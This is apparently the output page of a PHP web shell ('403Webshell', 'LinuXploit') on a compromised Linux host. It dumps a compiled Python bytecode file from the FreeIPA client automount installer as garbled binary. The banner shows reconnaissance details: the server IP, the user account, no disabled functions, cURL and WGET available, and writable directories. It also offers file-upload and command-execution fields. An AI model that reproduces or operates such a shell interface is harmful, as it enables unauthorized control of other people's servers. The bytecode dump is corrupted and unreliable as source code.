403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/ipaclient/install/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/ipaclient/install/__pycache__/ipa_client_automount.cpython-39.pyc
a

�jiAA�@sjddlmZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
mZddlm
Z
ddlmZddlmZmZddlmZmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lm Z ddl!m"Z"ddl#m$Z$ddl%m&Z&ddl'm(Z(ddl)m*Z*e�+ej,�-e.��Z/dd�Z0dd�Z1dd�Z2dd�Z3dd�Z4dd�Z5dd �Z6d!d"�Z7dS)#�)�print_functionN)�urlsplit)�
ipachangeconf)�	discovery)�CLIENT_NOT_CONFIGURED�CLIENT_ALREADY_CONFIGURED)�api�errors)�
sysrestore)�kinit_keytab)�check_client_configuration)�ipautil)�standard_logging_setup)�	constants)�tasks)�services)�paths)�ScriptError)�IPAOptionParsercCs�d}t|d�}|jdddd�|jddd	d
d�|jdd
ddd�|jddddd�|jddddddd�|jddddddd�|jddddd d�|��\}}||fS)!Nz%prog [options]
)�usagez--server�serverzFQDN of IPA server)�dest�helpz--domain�domain�z(Primary DNS domain of the IPA deployment)r�defaultrz
--location�locationrzAutomount locationz--idmap-domain�idmapdomainznfs domain for idmapd.confz-dz--debug�debug�
store_trueFzenable debugging)r�actionrrz-Uz--unattended�
unattendedz.unattended installation never prompts the userz--uninstall�	uninstallzUnconfigure automount)rZ
add_option�
parse_args)r�parser�options�args�r'�J/usr/lib/python3.9/site-packages/ipaclient/install/ipa_client_automount.py�
parse_options<s\
������r)cCs�d}d}t�d�|dkrh|shz"t�tjddtjjg�d}Wqt	ydt�d�|d}Yq0q|s�dtjj}t
�d	|�t|�td
�dS)z{
    It takes a bit for sssd to get going, lets loop until it is
    serving data.

    This function returns nothing.
    rF��
�passwdzadmin@%sTz:Unable to find 'admin' user with 'getent passwd admin@%s'!z%szQThis may mean that sssd didn't re-start properly after the configuration changes.N)
�time�sleepr
�runrZGETENTr�env�realm�	Exception�loggerr�print)�n�found�err_msgr'r'r(�
wait_for_sssdns(

���r8c
Cs�zt��}|��|��}Wn.tyJ}zt�|�WYd}~n
d}~00z|�d�WnNtjynYn<tjy�t	�
d�t	�d�t	�d�t�d�Yn0|�d�d}|D]�}|�
|�}z|�d�}	Wntjy�Yq�Yn0|	dkr�|�dd�z |�d�td	�t�t�Wq�tj�yR|�d|j�Y�qVYq�0q�|du�rjt�d
�|�|�|�tj�|�ddd�t�dt�}
|
��td
�t�dS)N�autofsz5Unable to activate the Autofs service in SSSD config.zCPlease make sure you have SSSD built with autofs support installed.z9Configure autofs support manually in /etc/sssd/sssd.conf.z-Cannot create the autofs service in sssd.conf�id_provider�ipa�ipa_automount_location�+An automount location is already configuredzSSSD is not configured.�sssdTz4Restarting sssd, waiting for it to become available.)�
SSSDConfig�
import_config�list_active_domainsr2�sys�exitZnew_serviceZServiceAlreadyExistsZServiceNotRecognizedErrorr3�error�infoZactivate_service�
get_domain�
get_option�
NoOptionErrorZadd_providerr4rZ
set_optionr�save_domain�writer�	SSSD_CONF�backup_stater�servicer�restartr8)�fstore�
statestore�autodiscoverr%�
sssdconfig�domains�er�name�providerr>r'r'r(�configure_autofs_sssd�sZ 
��






rWc
Cs�tjj}|�dd|���|�dd|���z|��td|j�Wn4t	yz}zt
�d|j|�WYd}~n
d}~00z|��WnFt	y�}z.td|j�t
�d|jt
|��WYd}~n
d}~00dS)Nr9�enabled�runningz
Started %sz%s failed to restart: %sz6Failed to configure automatic startup of the %s daemonz7Failed to enable automatic startup of the %s daemon: %s)r�
knownservicesr9rLZ
is_enabledZ
is_runningrNr4Zservice_namer2r3rD�enable�str)rOrPr%r9rTr'r'r(�configure_autofs_common�s*&���r]c
s�tjtjtjg}gd�}��dd�s.t���t�fdd�|D��rZt�fdd�|D��sftd�t	Std�|D]}��
|�rr��|�qr��d��r��
dd	�}��
dd
�}��
dd�}tjj}|s�|��|s�|��|�r�z�t��}	|	��|	�d�|	��}
|
D]t}|	�|�}z|�d�}
Wntj�yBY�q
Yn0|
dk�r
|�d
�|	�|�|�d�|	�|��q��q
|	�tj�t�dt �}|�!�t"�WnFt#�y�}z,tdt$|��t%�&dt$|��WYd}~n
d}~00��d��r��'dd	���'dd
���d��r8��'dd	���'dd
�tjd}z|�!�Wn8t#�y�}zt%�(dt$|��WYd}~dSd}~00dS)N)r9�	rpcidmapd�rpcgssdr9r>c3s|]}��|�VqdS�N)�has_file)�.0�f)rOr'r(�	<genexpr>��zuninstall.<locals>.<genexpr>c3s|]}��|�VqdSr`)�	has_state)rb�s)rPr'r(rd�sz.IPA automount is not configured on this systemzRestoring configurationrXrYr:r;r<z(Unable to restore SSSD configuration: %sr^r_�	nfs-utils�*Failed to restart nfs client services (%s)r*r))rZSYSCONFIG_AUTOFS�
SYSCONFIG_NFS�IDMAPD_CONF�	get_staterZdisable_ldap_automount�anyr4rraZrestore_filerfZ
restore_staterrZr9�disable�stopr?r@Zdeactivate_servicerArFrGrHZ
remove_optionrIZremove_providerrJrKrMrrNr8r2r\r3rZdelete_staterD)rOrPZ
RESTORE_FILESZSTATES�filepathrXrYr>r9rRrSrUrrVrT�nfsutilsr')rOrPr(r"�s��
"�









�
r"c

Cs�tjr<tjdi}tj|tj|d�t�tj�tdtj�t	�
d�}d|_|�d�|�
d�|jdur~|�d	tjj�g}n(|jd
kr�|�d	�g}n|�d	|j�g}|dur�|�d|�g}|�tj�|�tj|�t�tj�tdtj�tjj}z|��Wn6t�y:}zt�dt|��WYd}~n
d}~00tjd
}	z|	��Wn6t�y�}zt�dt|��WYd}~n
d}~00dS)z
    Configure secure NFS
    Zyes)�replacevarsz
Configured %szIPA automount installerFz = )�[�]NZDomainZDNSZGeneralzFailed to restart rpc-gssd (%s)rhri) rZSECURE_NFS_VARr
Z#backup_config_and_replace_variablesrrjrZrestore_contextr4rZ
IPAChangeConfZcase_insensitive_sectionsZsetOptionAssignmentZsetSectionNameDelimitersrZ	setOptionrr0rZrmOptionZ
setSectionZbackup_filerkZ
changeConfrrZr_rNr2r3rDr\)
rOrPr%rrZconfZchangesZsection_with_changesr_rTrqr'r'r(�
configure_nfs(s@
�




&
ruc
Cs�t�tj�}|�dd�s^z
t�Wn:ty\}z"t|j�t	�
|j�WYd}~n
d}~00t�tj�}t
�\}}ttjd|jddd�tdtjd|jdd	�}tjfi|��|jr�t||�Sd}tj�tj�r�tj}|�d
�r�td�t	�
t�d}t��}|j�s�td�|j|j |d
�}	t!�d�|	tj"k�rdt!�d�t#tj$j%�}
|
j&g}t!�d|
j&�n4d}|j'�szt	�
d�t!�dd�(|j'��|j'd}n�|j}t!�d|�|�)|tj$j*|�}|dtj+k�r�td�td�td�n8|dtj,k�rt!�-d�n|ddk�r t	�
d|�|�s@td|�t!�d|�ntd�t!�d�td|j.�t!�d |j.�t/�0�}
tj�(|
d!�}�z�z4t1d"tj$j2tj$j*f�}t3|tj4|�|tj5d#<Wn8t6j7j8�y�}zt	�
d$|�WYd}~n
d}~00t�9�ztj:j;�<�Wn:t=j>�yH}zt	�
d%t1|��WYd}~n
d}~00z tj:j;j?d&t@�A|j.�d'd(�Wn�t=jB�y�}zt	�
d)t1|��WYd}~nfd}~0t=jC�y�t	�
d*|j.�Yn:t=jD�y}zt	�
d+t1|��WYd}~n
d}~00WtE�F|
�ntE�F|
�0|jG�s<t@�Hd,d��s<t	�
d-�z*tI|||�tJ||||�tK|||�WnFtL�y�}z,t!�d.|�td/�t||�WYd}~d0Sd}~00dS)1NZinstallationZ	automountF�az%(message)s)�verboser�filemodeZconsole_formatZ
cli_installerr)�contextZconfdirZ	in_serverrrwr9r=zSearching for IPA server...)r�ca_cert_pathzExecuting DNS discoveryz&Autodiscovery did not find LDAP serverzSetting server to %sTz7Autodiscovery was successful but didn't return a serverz*Autodiscovery success, possible servers %s�,z"Verifying that %s is an IPA serverz0Anonymous access to the LDAP server is disabled.z'Proceeding without strict verification.zNNote: This is not an error if anonymous access has been explicitly restricted.z,Unencrypted access to LDAP is not supported.z*Unable to confirm that %s is an IPA serverzIPA server: %szUsing fixed server %szIPA server: DNS discoveryz Configuring to use DNS discoveryzLocation: %szUsing automount location %sZccachez
host/%s@%sZ
KRB5CCNAMEzFailed to obtain host TGT: %sz$Cannot connect to the server due to Zautomountlocation_showz2.0)�versionzThis client is incompatible: z&Automount location '%s' does not existz5Cannot connect to the server due to generic error: %sz3Continue to configure the system with these values?zInstallation abortedzRaised exception %sz*Installation failed. Rolling back changes.r*)Mr
Z	StateFilerZIPA_CLIENT_SYSRESTORErlrrr4�msgrBrCZrvalZ	FileStorer)rZIPACLIENT_INSTALL_LOGr�dictZETC_IPArZ	bootstrapr"�os�path�existsZ
IPA_CA_CRTrfrrZIPADiscoveryr�searchrr3ZNO_LDAP_SERVERrr0Z
xmlrpc_uri�netlocZservers�joinZipacheckldapr1ZNO_ACCESS_TO_LDAPZNO_TLS_LDAPZwarningr�tempfileZmkdtempr\�hostrZKRB5_KEYTAB�environ�gssapi�
exceptionsZGSSError�finalizeZBackendZ	rpcclientZconnectr	Z
KerberosErrorZforwardr
�fsdecodeZVersionErrorZNotFoundZPublicError�shutil�rmtreer!Z
user_inputrurWr]r2)rPrTrOr%�_argsZcfgrzrQZds�retrgrZldapretZ
ccache_dirZccache_nameZ
host_princr'r'r(�configure_automount\s�

"
��	




�
��
$(
�
&����

r�c
Cs�z t��dkst�d�t�WnxtyN}zt�|�WYd}~nTd}~0tyz}zt�|�WYd}~n(d}~0ttfy�t�d�Yn0dS)Nrz
Must be run as root
r*)	r�geteuidrBrCr��
SystemExit�RuntimeError�KeyboardInterrupt�EOFError)rTr'r'r(�main�s

r�)8Z
__future__rZloggingrBrr�r-r�r�r?Zsix.moves.urllib.parserZ	ipapythonrZ	ipaclientrZipaclient.install.clientrrZipalibrr	Zipalib.installr
Zipalib.kinitrZipalib.utilrr
Zipapython.ipa_log_managerrZipaplatform.constantsrZipaplatform.tasksrZipaplatformrZipaplatform.pathsrZipapython.admintoolrZipapython.configrZ	getLoggerr��basename�__file__r3r)r8rWr]r"rur�r�r'r'r'r(�<module>sD2 7L4

Youez - 2016 - github.com/yon3zu
LinuXploit